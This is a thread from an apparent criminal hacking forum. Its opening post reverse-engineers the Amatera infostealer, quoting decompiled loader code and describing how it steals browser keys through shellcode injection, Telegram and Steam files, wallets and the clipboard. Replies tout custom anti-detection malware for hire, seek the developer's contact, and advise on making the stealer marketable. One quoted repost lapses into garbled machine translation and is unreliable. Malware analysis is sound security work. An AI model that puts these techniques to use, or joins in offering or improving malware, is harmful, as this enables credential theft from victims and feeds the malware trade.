• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья amatera stealer test v5

wizardo

RAID-массив
Пользователь
Регистрация
02.07.2025
Сообщения
60
Реакции
94
всем привет
по поводу моей прошлой статьи - к сожалению она была вырезана по причине не портить бизнес кодеру, ну и ладно
сегодня на руках сэмпл Amatera Stealer MaaS полученный путем хантинга app.any.run по метке stealer
по цене - 200$ за месяц, 500$ за 3 месяца, 900$ за 6 месяцев и 1500$ за 1 год
ехе никак не защищена и не закриптована - разобрать ее будет очень просто, чем я и занимался весь день(статью пишу под ночь)
1751999684245.png

у аналитиков на руках была более новая версия, в то время как я похоже смотрю на самые первые версии
функционал билда -
Отправка на хост лога по частям
Граб telegram
Граб steam
Граб инжектом в хром, edge (шелл)
^Похоже, что оно расшифровывает их на стороне веба
Граб desktop wallets
Граб файлов
Граб clipboard
Фото экрана
Граб инфы о железе(machine_guid, разрешение экрана, гпу,памяти, таймзоны, версии винды, локали юзера)
Граб списка установленных на пк программ
А теперь с технической стороны -
Билд весит всего 49кб
В билде отсутствует Анти-СНГ либо намеки на него
, не исключаю, что веб при распарсе лога просто не примет его при нахождении русской/ любой другой снгшной локали
Переопределены операторы free, malloc
Скрытие вызовов через GetProcAddress
Заменены CRT функции:
1752000588742.png

#1 точка входа
Когда жертва запускает стиллак, то первым делом Amatera грузит либы из которых потом будет через вызов винапи GetProcAddress вытягивать адреса и вызывать их
Прошу заметить, что строки не зашифрованы во всем билде

Код:
void amatera::stealer::entry::load_dll()
{
  kernel32_handle = LoadLibraryW(L"Kernel32.dll");
  crypt32_handle = LoadLibraryW(L"Crypt32.dll");
  user32_handle = LoadLibraryW(L"User32.dll");
  advapi32_handle = LoadLibraryW(L"Advapi32.dll");
  wininet_handle = LoadLibraryW(L"Wininet.dll");
  gdi32_handle = LoadLibraryW(L"Gdi32.dll");
  ole32_handle = LoadLibraryW(L"Ole32.dll");
  oleaut32_handle = LoadLibraryW(L"OleAut32.dll");
  getProcessHeap = func_0_arg(kernel32_handle, "GetProcessHeap");
}
После этого Amatera стучится на веб и хочет создать сессию по GUID, куда будет потом пофайлово закидывать лог
Для обмена пакетов между панелью и билдом стиллер использует обычное шифрование RC4


#2 Зачатки обфускации
Во всем билде имеются только 2 явных WinAPI колла - GetProcAddress и LoadLibraryW
1752001389456.png

Дальше я опишу как происходит вызов экспорта какой-либо библиотеки(или просто WinAPI)
В коде вызов выглядит вот так ->
CallProcAddress_BitBlt((HMODULE)gdi32_handle, "BitBlt", dc, 0, 0, cx, cy, hdc, 0, 0, 0xCC0020);// 0xCC0020 <--- SRCCOPY ? ? ?
CallProcAddress является простой оберткой ->
Код:
__int64 __fastcall CallProcAddress_BitBlt(
        HMODULE a1,
        const CHAR *a2,
        __int64 a3,
        unsigned int a4,
        unsigned int a5,
        unsigned int a6,
        int a7,
        __int64 a8,
        int a9,
        int a10,
        int a11)
{
  FARPROC ProcAddress; // rax

  ProcAddress = GetProcAddress(a1, a2);
  return ((__int64 (__fastcall *)(__int64, _QWORD, _QWORD, _QWORD, int, __int64, int, int, int))ProcAddress)(
           a3,
           a4,
           a5,
           a6,
           a7,
           a8,
           a9,
           a10,
           a11);
}
Некоторые функции имеют свой typedef и функцию поиска, в то время как другие в целях оптимизации могут делить одни и те же определения из-за оптимизации компилятора

Сам по себе стиллер очень простой, но стоит ему добавить ксор на строки с сисколлами и можно уже пушить на рынок(похоже,что это и есть итерация ближайшая к финальной)
#3 Граб железа
Выполняется 1ой функцией вызванной из entry стиллера, по завершению отправляет результат на сервак
Код:
void __fastcall amatera::stealer::systeminfo_constructor(unsigned __int64 *information_stream)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS NUMPAD "+" TO EXPAND]

  qmemcpy(v2, malloc(Size), sizeof(v2));
  qmemcpy(buf, v2, sizeof(buf));
  amatera::stealer::get_machine_guid(buf);      // <--- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid getter
  amatera::stealer::get_computer_name(buf);     // fill computer name (GetComputerNameW)
  amatera::stealer::get_os_name(buf);       // fill os ver & name
  amatera::stealer::get_current_user_locale(buf);// fill userprofile locale
  amatera::stealer::get_install_date(buf);      // fill installdate
  amatera::stealer::get_time_zone(buf);         // fill timezone_bias(GetDynamicTimeZoneInformation)
  amatera::stealer::get_resolution_and_gpu_name(buf);// fill screen resolution & gpu name
  amatera::stealer::get_cpu_name(buf);          // fill cpu_name
  amatera::stealer::get_total_ram(buf);         // fill total_ram
  amatera::stealer::get_stealer_start_path(buf);// fill start_path
  amatera::stealer::get_installed_applications(buf);// fill installed applications Windows\\CurrentVersion\\Uninstall
  amatera::stealer::get_process_list(buf);      // fill process_list
  amatera::stealer::get_screenshot(buf);        // fill screenshot
  amatera::stealer::get_clipboard_contents(buf);// fill clipboard data
  amatera::crt::append_wstr_to_format(information_stream, L"system_info", buf[2], buf[1]);
  amatera::crt::free(buf);
}
Быстрый врайтап на эти функции сверху:
get_machine_guid - читает "guid" из "SOFTWARE\\Microsoft\\Cryptography"
get_computer_name - вызов GetComputerNameW апи
get_os_name - читает "ProductName" из "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"
get_install_date - читает "InstallDate" из "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"
get_current_user_locale - просто вызов GetUserDefaultLocaleName
get_time_zone - вызов GetDynamicTimeZoneInformation + высчитывание timezone bias
get_resolution_and_gpu_name - вызов EnumDisplaySettingsW, распарс с добавлением "x" между числами, потом EnumDisplayDevicesW для получения модели ГПУ
get_cpu_name - читает "ProcessorNameString" из "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0"
get_total_ram - вызов GetPhysicallyInstalledSystemMemory
get_stealer_start_path - вызов GetModuleFileNameW
get_installed_applications - читает список из "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" и потом парсит его
get_process_list - самый обычный геттер процессов через вызов CreateToolhelp32Snapshot
get_screenshot - вызов BitBlt, дальше не вижу смысла расписывать
get_clipboard_contents - вызов OpenClipboard, GetClipboardData, GlobalLock
#4 Граб телеги и стима и пр
В точке входа вызывается функция, которая потом вызывает внутри себя grab_steam + grab_telegram, так-что назовем эту функцию get_applications
Внутри себя она просто вызывает ExpandEnvironmentStringsW для получения путей
Для граба стима стиллер стучится в реестр и читает там "InstallPath" в "SOFTWARE\\WOW6432Node\\Valve\\Steam", после чего грабает все файлы по следующей маске -> "*.vdf"
Для граба телеги стиллер вызывает ExpandEnvironmentStringsW с аргументом "%appdata%\\Telegram Desktop\\tdata", после чего грабает тележку вызовом обертки ReadFile
К сожалению, меня не хватило на разбор того, что отправляется в панель с меткой wallets и grabber, но там идет такой же вызов ExpandEnvironmentStringsW + поиск по маске и дальше вызов обертки ReadFile

#5 Граб хрома и эджа
Когда Amatera доходит до этапа сборки данных из хрома, то происходит следующий процесс:
Сначала Amatera пытается грабнуть state_key из Local State, а если это не выходит, то вызывается уже app_bound_encrypted_key декрипт
Если описывать этот декрипт просто, то он выглядит вот так:
1. получить app_bound_encrypted_key
2. ^если не получилось, возвращаем 0
3. если app_bound_encrypted_key > 5, то создаем зомби процесс через CreateProcessW
4. аллоцируем в зомби процессе память
5. пишем в память зомбированного браузера шелл + плейсхолдер под app_bound_encrypted_key
6. CreateRemoteThread, WaitForSingleObject (если нужно обьяснение, то лучше пропустите это)
7. читаем память через вызов ReadProcessMemory
8. VirtualFreeEx, CloseHandle на все
9. найти и завершить процесс
Я не знаю почему, но мне кажется, что скорее всего это было спащенно с гитхаба, но не гарантирую

После всех этих манипуляций стиллер просто вызывает ExitProcess с кодом 0
Execution flow стилера выглядит вот так :
1. load_dll
2. create_stealer_session
3. systeminfo_getter
4. chromium::get_profiles
5. chromium::local_state_related
6. chromium::state_key_related
7. applications(телега, стим)
8. кошельки
9. граббер файлов

В общем - стиллер не плох, но судя по тому, что пишут о нем аналитики, называя это скачком в качестве стиллеров, то что-то в этом все таки есть
добавляю экспортированный из иды .C файлик где можно поближе посмотреть на код, но сразу говорю - многого не ожидайте
 

Вложения

  • AmateraStealer_.txt
    131 КБ · Просмотры: 87
Последнее редактирование:
сегодня глянул - кажется, что байпасс был взят отсюда, но с какими-то поправками
но в то время, как в PoC используются сисколлы, в этом же семле используются winapi
 
всем привет
по поводу моей прошлой статьи - к сожалению она была вырезана по причине не портить бизнес кодеру, ну и ладно
сегодня на руках сэмпл Amatera Stealer MaaS полученный путем хантинга app.any.run по метке stealer
по цене - 200$ за месяц, 500$ за 3 месяца, 900$ за 6 месяцев и 1500$ за 1 год
ехе никак не защищена и не закриптована - разобрать ее будет очень просто, чем я и занимался весь день(статью пишу под ночь)
Посмотреть вложение 109056
у аналитиков на руках была более новая версия, в то время как я похоже смотрю на самые первые версии
функционал билда -
Отправка на хост лога по частям
Граб telegram
Граб steam
Граб инжектом в хром, edge (шелл)
^Похоже, что оно расшифровывает их на стороне веба
Граб desktop wallets
Граб файлов
Граб clipboard
Фото экрана
Граб инфы о железе(machine_guid, разрешение экрана, гпу,памяти, таймзоны, версии винды, локали юзера)
Граб списка установленных на пк программ
А теперь с технической стороны -
Билд весит всего 49кб
В билде отсутствует Анти-СНГ либо намеки на него
, не исключаю, что веб при распарсе лога просто не примет его при нахождении русской/ любой другой снгшной локали
Переопределены операторы free, malloc
Скрытие вызовов через GetProcAddress
Заменены CRT функции:
Посмотреть вложение 109057
#1 точка входа
Когда жертва запускает стиллак, то первым делом Amatera грузит либы из которых потом будет через вызов винапи GetProcAddress вытягивать адреса и вызывать их
Прошу заметить, что строки не зашифрованы во всем билде

Код:
void amatera::stealer::entry::load_dll()
{
  kernel32_handle = LoadLibraryW(L"Kernel32.dll");
  crypt32_handle = LoadLibraryW(L"Crypt32.dll");
  user32_handle = LoadLibraryW(L"User32.dll");
  advapi32_handle = LoadLibraryW(L"Advapi32.dll");
  wininet_handle = LoadLibraryW(L"Wininet.dll");
  gdi32_handle = LoadLibraryW(L"Gdi32.dll");
  ole32_handle = LoadLibraryW(L"Ole32.dll");
  oleaut32_handle = LoadLibraryW(L"OleAut32.dll");
  getProcessHeap = func_0_arg(kernel32_handle, "GetProcessHeap");
}
После этого Amatera стучится на веб и хочет создать сессию по GUID, куда будет потом пофайлово закидывать лог
Для обмена пакетов между панелью и билдом стиллер использует обычное шифрование RC4


#2 Зачатки обфускации
Во всем билде имеются только 2 явных WinAPI колла - GetProcAddress и LoadLibraryW
Посмотреть вложение 109059
Дальше я опишу как происходит вызов экспорта какой-либо библиотеки(или просто WinAPI)
В коде вызов выглядит вот так ->
CallProcAddress_BitBlt((HMODULE)gdi32_handle, "BitBlt", dc, 0, 0, cx, cy, hdc, 0, 0, 0xCC0020);// 0xCC0020 <--- SRCCOPY ? ? ?
CallProcAddress является простой оберткой ->
Код:
__int64 __fastcall CallProcAddress_BitBlt(
        HMODULE a1,
        const CHAR *a2,
        __int64 a3,
        unsigned int a4,
        unsigned int a5,
        unsigned int a6,
        int a7,
        __int64 a8,
        int a9,
        int a10,
        int a11)
{
  FARPROC ProcAddress; // rax

  ProcAddress = GetProcAddress(a1, a2);
  return ((__int64 (__fastcall *)(__int64, _QWORD, _QWORD, _QWORD, int, __int64, int, int, int))ProcAddress)(
           a3,
           a4,
           a5,
           a6,
           a7,
           a8,
           a9,
           a10,
           a11);
}
Некоторые функции имеют свой typedef и функцию поиска, в то время как другие в целях оптимизации могут делить одни и те же определения из-за оптимизации компилятора

Сам по себе стиллер очень простой, но стоит ему добавить ксор на строки с сисколлами и можно уже пушить на рынок(похоже,что это и есть итерация ближайшая к финальной)
#3 Граб железа
Выполняется 1ой функцией вызванной из entry стиллера, по завершению отправляет результат на сервак
Код:
void __fastcall amatera::stealer::systeminfo_constructor(unsigned __int64 *information_stream)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS NUMPAD "+" TO EXPAND]

  qmemcpy(v2, malloc(Size), sizeof(v2));
  qmemcpy(buf, v2, sizeof(buf));
  amatera::stealer::get_machine_guid(buf);      // <--- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid getter
  amatera::stealer::get_computer_name(buf);     // fill computer name (GetComputerNameW)
  amatera::stealer::get_os_name(buf);       // fill os ver & name
  amatera::stealer::get_current_user_locale(buf);// fill userprofile locale
  amatera::stealer::get_install_date(buf);      // fill installdate
  amatera::stealer::get_time_zone(buf);         // fill timezone_bias(GetDynamicTimeZoneInformation)
  amatera::stealer::get_resolution_and_gpu_name(buf);// fill screen resolution & gpu name
  amatera::stealer::get_cpu_name(buf);          // fill cpu_name
  amatera::stealer::get_total_ram(buf);         // fill total_ram
  amatera::stealer::get_stealer_start_path(buf);// fill start_path
  amatera::stealer::get_installed_applications(buf);// fill installed applications Windows\\CurrentVersion\\Uninstall
  amatera::stealer::get_process_list(buf);      // fill process_list
  amatera::stealer::get_screenshot(buf);        // fill screenshot
  amatera::stealer::get_clipboard_contents(buf);// fill clipboard data
  amatera::crt::append_wstr_to_format(information_stream, L"system_info", buf[2], buf[1]);
  amatera::crt::free(buf);
}
Быстрый врайтап на эти функции сверху:
get_machine_guid - читает "guid" из "SOFTWARE\\Microsoft\\Cryptography"
get_computer_name - вызов GetComputerNameW апи
get_os_name - читает "ProductName" из "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"
get_install_date - читает "InstallDate" из "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"
get_current_user_locale - просто вызов GetUserDefaultLocaleName
get_time_zone - вызов GetDynamicTimeZoneInformation + высчитывание timezone bias
get_resolution_and_gpu_name - вызов EnumDisplaySettingsW, распарс с добавлением "x" между числами, потом EnumDisplayDevicesW для получения модели ГПУ
get_cpu_name - читает "ProcessorNameString" из "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0"
get_total_ram - вызов GetPhysicallyInstalledSystemMemory
get_stealer_start_path - вызов GetModuleFileNameW
get_installed_applications - читает список из "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" и потом парсит его
get_process_list - самый обычный геттер процессов через вызов CreateToolhelp32Snapshot
get_screenshot - вызов BitBlt, дальше не вижу смысла расписывать
get_clipboard_contents - вызов OpenClipboard, GetClipboardData, GlobalLock
#4 Граб телеги и стима и пр
В точке входа вызывается функция, которая потом вызывает внутри себя grab_steam + grab_telegram, так-что назовем эту функцию get_applications
Внутри себя она просто вызывает ExpandEnvironmentStringsW для получения путей
Для граба стима стиллер стучится в реестр и читает там "InstallPath" в "SOFTWARE\\WOW6432Node\\Valve\\Steam", после чего грабает все файлы по следующей маске -> "*.vdf"
Для граба телеги стиллер вызывает ExpandEnvironmentStringsW с аргументом "%appdata%\\Telegram Desktop\\tdata", после чего грабает тележку вызовом обертки ReadFile
К сожалению, меня не хватило на разбор того, что отправляется в панель с меткой wallets и grabber, но там идет такой же вызов ExpandEnvironmentStringsW + поиск по маске и дальше вызов обертки ReadFile

#5 Граб хрома и эджа
Когда Amatera доходит до этапа сборки данных из хрома, то происходит следующий процесс:
Сначала Amatera пытается грабнуть state_key из Local State, а если это не выходит, то вызывается уже app_bound_encrypted_key декрипт
Если описывать этот декрипт просто, то он выглядит вот так:
1. получить app_bound_encrypted_key
2. ^если не получилось, возвращаем 0
3. если app_bound_encrypted_key > 5, то создаем зомби процесс через CreateProcessW
4. аллоцируем в зомби процессе память
5. пишем в память зомбированного браузера шелл + плейсхолдер под app_bound_encrypted_key
6. CreateRemoteThread, WaitForSingleObject (если нужно обьяснение, то лучше пропустите это)
7. читаем память через вызов ReadProcessMemory
8. VirtualFreeEx, CloseHandle на все
9. найти и завершить процесс
Я не знаю почему, но мне кажется, что скорее всего это было спащенно с гитхаба, но не гарантирую

После всех этих манипуляций стиллер просто вызывает ExitProcess с кодом 0
Execution flow стилера выглядит вот так :
1. load_dll
2. create_stealer_session
3. systeminfo_getter
4. chromium::get_profiles
5. chromium::local_state_related
6. chromium::state_key_related
7. applications(телега, стим)
8. кошельки
9. граббер файлов

В общем - стиллер не плох, но судя по тому, что пишут о нем аналитики, называя это скачком в качестве стиллеров, то что-то в этом все таки есть
добавляю экспортированный из иды .C файлик где можно поближе посмотреть на код, но сразу говорю - многого не ожидайте
ору)) и типок это редкостное дерьмо которое разберет любой реверсер знаниями выше новичка, продавал за 200$ и выше, псц, он еще и на плюсах написан
ты кстати не упомянул, какой флаг стоит для оптимизации, или есть ли она вообще, если есть, - 100 мб исполняемый файл минимум весит, учитываем еще генерацию RTTI из-за std и ооп паттернов
 
ПОдскажите как разраба найти
братан, я тебе любой малварь на чистом ассемблере склепаю за пару дней с полной анти-детект защитой, + полная ответственность за защиту проекта. зачем тебе обращаться к типу который банально свой проект задефать не может ?
и тут тебе не компилятор со своей говноОптимизацией который повышает размер файла до астрономического уровня
 
всем привет
по поводу моей прошлой статьи - к сожалению она была вырезана по причине не портить бизнес кодеру, ну и ладно
сегодня на руках сэмпл Amatera Stealer MaaS полученный путем хантинга app.any.run по метке stealer
по цене - 200$ за месяц, 500$ за 3 месяца, 900$ за 6 месяцев и 1500$ за 1 год
ехе никак не защищена и не закриптована - разобрать ее будет очень просто, чем я и занимался весь день(статью пишу под ночь)
Посмотреть вложение 109056
у аналитиков на руках была более новая версия, в то время как я похоже смотрю на самые первые версии
функционал билда -
Отправка на хост лога по частям
Граб telegram
Граб steam
Граб инжектом в хром, edge (шелл)
^Похоже, что оно расшифровывает их на стороне веба
Граб desktop wallets
Граб файлов
Граб clipboard
Фото экрана
Граб инфы о железе(machine_guid, разрешение экрана, гпу,памяти, таймзоны, версии винды, локали юзера)
Граб списка установленных на пк программ
А теперь с технической стороны -
Билд весит всего 49кб
В билде отсутствует Анти-СНГ либо намеки на него
, не исключаю, что веб при распарсе лога просто не примет его при нахождении русской/ любой другой снгшной локали
Переопределены операторы free, malloc
Скрытие вызовов через GetProcAddress
Заменены CRT функции:
Посмотреть вложение 109057
#1 точка входа
Когда жертва запускает стиллак, то первым делом Amatera грузит либы из которых потом будет через вызов винапи GetProcAddress вытягивать адреса и вызывать их
Прошу заметить, что строки не зашифрованы во всем билде

Код:
void amatera::stealer::entry::load_dll()
{
  kernel32_handle = LoadLibraryW(L"Kernel32.dll");
  crypt32_handle = LoadLibraryW(L"Crypt32.dll");
  user32_handle = LoadLibraryW(L"User32.dll");
  advapi32_handle = LoadLibraryW(L"Advapi32.dll");
  wininet_handle = LoadLibraryW(L"Wininet.dll");
  gdi32_handle = LoadLibraryW(L"Gdi32.dll");
  ole32_handle = LoadLibraryW(L"Ole32.dll");
  oleaut32_handle = LoadLibraryW(L"OleAut32.dll");
  getProcessHeap = func_0_arg(kernel32_handle, "GetProcessHeap");
}
После этого Amatera стучится на веб и хочет создать сессию по GUID, куда будет потом пофайлово закидывать лог
Для обмена пакетов между панелью и билдом стиллер использует обычное шифрование RC4


#2 Зачатки обфускации
Во всем билде имеются только 2 явных WinAPI колла - GetProcAddress и LoadLibraryW
Посмотреть вложение 109059
Дальше я опишу как происходит вызов экспорта какой-либо библиотеки(или просто WinAPI)
В коде вызов выглядит вот так ->
CallProcAddress_BitBlt((HMODULE)gdi32_handle, "BitBlt", dc, 0, 0, cx, cy, hdc, 0, 0, 0xCC0020);// 0xCC0020 <--- SRCCOPY ? ? ?
CallProcAddress является простой оберткой ->
Код:
__int64 __fastcall CallProcAddress_BitBlt(
        HMODULE a1,
        const CHAR *a2,
        __int64 a3,
        unsigned int a4,
        unsigned int a5,
        unsigned int a6,
        int a7,
        __int64 a8,
        int a9,
        int a10,
        int a11)
{
  FARPROC ProcAddress; // rax

  ProcAddress = GetProcAddress(a1, a2);
  return ((__int64 (__fastcall *)(__int64, _QWORD, _QWORD, _QWORD, int, __int64, int, int, int))ProcAddress)(
           a3,
           a4,
           a5,
           a6,
           a7,
           a8,
           a9,
           a10,
           a11);
}
Some functions have their own typedef and lookup function, while others may share the same definitions due to compiler optimizations for optimization purposes.

The stealer itself is very simple, but once you add xor to the lines with syscalls, you can already push to the market (it seems that this is the iteration closest to the final one)
#3 Hornbeam of Iron
It is executed by the first function called from the entry stealer, and upon completion it sends the result to the server.
Код:
void __fastcall amatera::stealer::systeminfo_constructor(unsigned __int64 *information_stream)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS NUMPAD "+" TO EXPAND]

  qmemcpy(v2, malloc(Size), sizeof(v2));
  qmemcpy(buf, v2, sizeof(buf));
  amatera::stealer::get_machine_guid(buf);   // <--- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid getter
  amatera::stealer::get_computer_name(buf);   // fill computer name (GetComputerNameW)
  amatera::stealer::get_os_name(buf);    // fill os ver & name
  amatera::stealer::get_current_user_locale(buf);// fill userprofile locale
  amatera::stealer::get_install_date(buf);   // fill installdate
  amatera::stealer::get_time_zone(buf);     // fill timezone_bias(GetDynamicTimeZoneInformation)
  amatera::stealer::get_resolution_and_gpu_name(buf);// fill screen resolution & gpu name
  amatera::stealer::get_cpu_name(buf);     // fill cpu_name
  amatera::stealer::get_total_ram(buf);     // fill total_ram
  amatera::stealer::get_stealer_start_path(buf);// fill start_path
  amatera::stealer::get_installed_applications(buf);// fill installed applications Windows\\CurrentVersion\\Uninstall
  amatera::stealer::get_process_list(buf);   // fill process_list
  amatera::stealer::get_screenshot(buf);    //fill screenshot
  amatera::stealer::get_clipboard_contents(buf);// fill clipboard data
  amatera::crt::append_wstr_to_format(information_stream, L"system_info", buf[2], buf[1]);
  amatera::crt::free(buf);
}
A quick write-up of these features above:
get_machine_guid - reads "guid" from "SOFTWARE\\Microsoft\\Cryptography"
get_computer_name - call the GetComputerNameW API
get_os_name - reads "ProductName" from "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"
get_install_date - reads "InstallDate" from "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"
get_current_user_locale - just a call to GetUserDefaultLocaleName
get_time_zone - call GetDynamicTimeZoneInformation + calculate timezone bias
get_resolution_and_gpu_name - call EnumDisplaySettingsW, parse with "x" between numbers, then EnumDisplayDevicesW to get the GPU model
get_cpu_name - reads "ProcessorNameString" from "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0"
get_total_ram - call GetPhysicallyInstalledSystemMemory
get_stealer_start_path - call GetModuleFileNameW
get_installed_applications - reads the list from "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" and then parses it
get_process_list - the most common process getter via a call to CreateToolhelp32Snapshot
get_screenshot - a call to BitBlt, I don't see any point in describing it further
get_clipboard_contents - call OpenClipboard, GetClipboardData, GlobalLock
#4 Hornbeam carts and steam, etc.
At the entry point, a function is called, which then calls grab_steam + grab_telegram internally, so let's call this function get_applications
Internally it simply calls ExpandEnvironmentStringsW to get the paths
To steal Steam, the stealer hacks the registry and reads "InstallPath" into "SOFTWARE\\WOW6432Node\\Valve\\Steam" , after which it steals all files with the following mask -> "*.vdf"
To grab the cart, the stealer calls ExpandEnvironmentStringsW with the argument "%appdata%\\Telegram Desktop\\tdata" , after which it grabs the cart by calling the ReadFile wrapper
Unfortunately, I didn't have enough time to analyze what is sent to the panel labeled wallets and grabber, but there is the same call to ExpandEnvironmentStringsW + search by mask and then a call to the ReadFile wrapper

#5 Chrome and Edge Grab
When Amatera reaches the stage of collecting data from Chrome, the following process occurs:
First, Amatera tries to grab the state_key from the Local State, and if this fails, then app_bound_encrypted_key decryption is called.
If we were to describe this decrypt simply, it would look like this:
1. get app_bound_encrypted_key
2. ^If it doesn't work, return 0
3. If app_bound_encrypted_key > 5, then create a zombie process using CreateProcessW
4. Allocate memory in the zombie process
5. Write a shell + placeholder under app_bound_encrypted_key into the zombified browser's memory
6. CreateRemoteThread, WaitForSingleObject (if you need an explanation, skip this)
7. Read the memory by calling ReadProcessMemory
8. VirtualFreeEx, CloseHandle for everything
9. Find and complete the process
I don't know why, but it seems to me that most likely it was saved from GitHub, but I can't guarantee it

After all these manipulations, the stealer simply calls ExitProcess with code 0
The execution flow of the stealer looks like this:
1. load_dll
2. create_stealer_session
3. systeminfo_getter
4. chromium::get_profiles
5. chromium::local_state_related
6. chromium::state_key_related
7. applications(cart, steam)
8. wallets
9. file grabber

Overall, the stealer isn't bad, but judging by what analysts are writing about it, calling it a leap in the quality of stealers, there's still something to it.
I'm adding a .C file exported from Ida where you can take a closer look at the code, but I'll tell you right away - don't expect much
get me a sample of this stealer
 
братан, я тебе любой малварь на чистом ассемблере склепаю за пару дней с полной анти-детект защитой, + полная ответственность за защиту проекта. зачем тебе обращаться к типу который банально свой проект задефать не может ?
и тут тебе не компилятор со своей говноОптимизацией который повышает размер файла до астрономического уровня
Обективно, дерзко, уважаю , оставь контакты в лс.;)
 
ору)) и типок это редкостное дерьмо которое разберет любой реверсер знаниями выше новичка, продавал за 200$ и выше, псц, он еще и на плюсах написан
ты кстати не упомянул, какой флаг стоит для оптимизации, или есть ли она вообще, если есть, - 100 мб исполняемый файл минимум весит, учитываем еще генерацию RTTI из-за std и ооп паттернов
в чем смысл упоминать это все? статья была нацелена на более "шарящих" людей, в какой-то мере задумывалось "а смотрите, что под капотом у этого продукта".. rtti и прочие фишки msvc компилятора можно дернуть парой команд в командную строку линкера + переопределением точки входа main чтобы проскипать иницилизацию crtшных и stlных конструкторов
имо писать стиллер на масме - бесполезная трата времени. это добавит слишком много условностей в твой код / сложностей в эксплуатации у конечного покупателя - разработчики криптеров уже привыкли криптовать/морфить/обфускать обычные .net ехешники/дллки или написанные на плюсах ехешники с подключенными и активно используемыми stl заголовками на пару с crt
lame take imo
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх